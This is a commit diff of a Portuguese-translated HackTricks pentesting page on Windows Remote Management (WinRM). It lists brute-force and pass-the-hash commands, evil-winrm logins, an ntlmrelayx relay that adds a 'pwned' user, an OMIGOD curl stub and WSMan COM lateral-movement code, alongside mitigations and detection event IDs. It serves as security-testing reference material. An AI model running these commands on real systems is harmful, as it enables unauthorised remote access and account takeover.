mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.
This commit is contained in:
parent
e38c7cd093
commit
22f9535891
@ -6,7 +6,7 @@
|
||||
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) é destacado como um **protocolo da Microsoft** que permite a **gerência remota de sistemas Windows** através de HTTP(S), aproveitando o SOAP no processo. É fundamentalmente alimentado pelo WMI, apresentando-se como uma interface baseada em HTTP para operações WMI.
|
||||
|
||||
A presença do WinRM em uma máquina permite uma administração remota simples via PowerShell, semelhante ao funcionamento do SSH em outros sistemas operacionais. Para determinar se o WinRM está operacional, é recomendável verificar a abertura de portas específicas:
|
||||
A presença do WinRM em uma máquina permite uma administração remota simples via PowerShell, semelhante ao funcionamento do SSH para outros sistemas operacionais. Para determinar se o WinRM está operacional, é recomendável verificar a abertura de portas específicas:
|
||||
|
||||
- **5985/tcp (HTTP)**
|
||||
- **5986/tcp (HTTPS)**
|
||||
@ -66,7 +66,7 @@ Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep
|
||||
```
|
||||
### Obter uma sessão PS
|
||||
|
||||
Para obter um shell interativo do PowerShell, use `Enter-PSSession`:
|
||||
Para obter um shell PowerShell interativo, use `Enter-PSSession`:
|
||||
```bash
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
@ -115,7 +115,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
|
||||
Se você encontrar o seguinte erro:
|
||||
|
||||
`enter-pssession : Conectando ao servidor remoto 10.10.10.175 falhou com a seguinte mensagem de erro : O cliente WinRM não pode processar a solicitação. Se o esquema de autenticação for diferente de Kerberos, ou se o computador cliente não estiver associado a um domínio, então o transporte HTTPS deve ser usado ou a máquina de destino deve ser adicionada à configuração TrustedHosts. Use winrm.cmd para configurar TrustedHosts. Observe que os computadores na lista TrustedHosts podem não estar autenticados. Você pode obter mais informações sobre isso executando o seguinte comando: winrm help config. Para mais informações, veja o tópico de ajuda about_Remote_Troubleshooting.`
|
||||
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
|
||||
|
||||
A tentativa no cliente (informações de [aqui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
|
||||
### Força Bruta
|
||||
|
||||
Tenha cuidado, a força bruta no winrm pode bloquear usuários.
|
||||
Tenha cuidado, forçar a entrada no winrm pode bloquear usuários.
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
@ -142,13 +142,13 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
Leia **documentação** em seu github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
Leia **a documentação** no seu github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Para usar evil-winrm para se conectar a um **endereço IPv6**, crie uma entrada dentro de _**/etc/hosts**_ definindo um **nome de domínio** para o endereço IPv6 e conecte-se a esse domínio.
|
||||
|
||||
### Pass the hash com evil-winrm
|
||||
### Pass the hash with evil-winrm
|
||||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
@ -160,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm
|
||||
$creds = Get-Credential
|
||||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
||||
```
|
||||
### Usando um script Ruby
|
||||
### Usando um script em ruby
|
||||
|
||||
**Código extraído daqui:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
|
||||
```ruby
|
||||
@ -220,11 +220,76 @@ end
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
---
|
||||
|
||||
## Vulnerabilidades Recentes & Técnicas Ofensivas (2021-2025)
|
||||
|
||||
### Revezamento NTLM diretamente para WinRM (WS-MAN)
|
||||
Desde o Impacket 0.11 (maio de 2023) `ntlmrelayx.py` pode revezar credenciais NTLM capturadas diretamente para um ouvinte **WS-MAN**/WinRM. Quando um host ainda escuta em **HTTP não criptografado (5985)**, um atacante pode combinar *mitm6* (ou *Responder*) para forçar a autenticação e obter execução de código em nível SYSTEM:
|
||||
```bash
|
||||
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
|
||||
--command "net user pwned P@ssw0rd! /add"
|
||||
```
|
||||
Mitigações
|
||||
* Desative os ouvintes HTTP – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
|
||||
* Force HTTPS e ative a Proteção Estendida para Autenticação (EPA) em versões recentes do Windows.
|
||||
|
||||
### OMIGOD – CVE-2021-38647 (Azure OMI)
|
||||
Agentes do Azure Linux usam o serviço **Open Management Infrastructure (OMI)** que expõe a API WinRM/WS-MAN nas portas **5985/5986**. Um erro de lógica permitiu **RCE não autenticado como root**:
|
||||
```text
|
||||
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
|
||||
```
|
||||
Patch ou remova OMI (versão ≥ 1.6.8-1) e bloqueie essas portas da Internet.
|
||||
|
||||
### Abuso do COM WSMan.Automation para movimento lateral
|
||||
WinRM pode ser controlado sem PowerShell através do objeto COM `WSMan.Automation` – útil em sistemas no modo de Linguagem Constrangida. Ferramentas como *SharpWSManWinRM* envolvem essa técnica:
|
||||
```powershell
|
||||
$ws = New-Object -ComObject 'WSMan.Automation'
|
||||
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
|
||||
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
|
||||
$session.Signal($cmdId,0)
|
||||
```
|
||||
A cadeia de execução (`svchost → wmiprvse → cmd.exe`) é idêntica ao PS-Remoting clássico.
|
||||
|
||||
---
|
||||
|
||||
## Atualizações de Ferramentas
|
||||
|
||||
* **Evil-WinRM v3.x (2024)** – agora suporta **Kerberos** (`-k` / `--spn`) e autenticação **baseada em certificado** (`--cert-pem`/`--key-pem`), registro de sessão (`-L`) e a capacidade de desativar a conclusão de caminho remoto (`-N`).
|
||||
|
||||
```bash
|
||||
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
|
||||
```
|
||||
|
||||
* **Python – `pypsrp` 0.9 (2024)** oferece WinRM & PS-Remoting a partir do Linux, incluindo CredSSP e Kerberos:
|
||||
|
||||
```python
|
||||
from psrp.client import Client
|
||||
c = Client('srv01', username='ACME\\j.doe', ssl=True)
|
||||
print(c.execute_cmd('ipconfig /all').std_out.decode())
|
||||
```
|
||||
|
||||
* **Detecção** – monitore o log **Microsoft-Windows-WinRM/Operational**:
|
||||
* Evento 91 / 163 – shell criada
|
||||
* Evento 182 – falha de autenticação
|
||||
* No log de Segurança, o evento 4262 registra o IP de origem (adicionado em julho de 2022 CUs).
|
||||
Colete isso centralmente e alerte sobre IPs anônimos ou externos.
|
||||
|
||||
---
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
|
||||
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
|
||||
|
||||
## Comandos Automáticos HackTricks
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
## HackTricks Comandos Automáticos
|
||||
```
|
||||
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
|
||||
Port_Number: 5985 #Comma separated if there is more than one.
|
||||
|
Loading…
x
Reference in New Issue
Block a user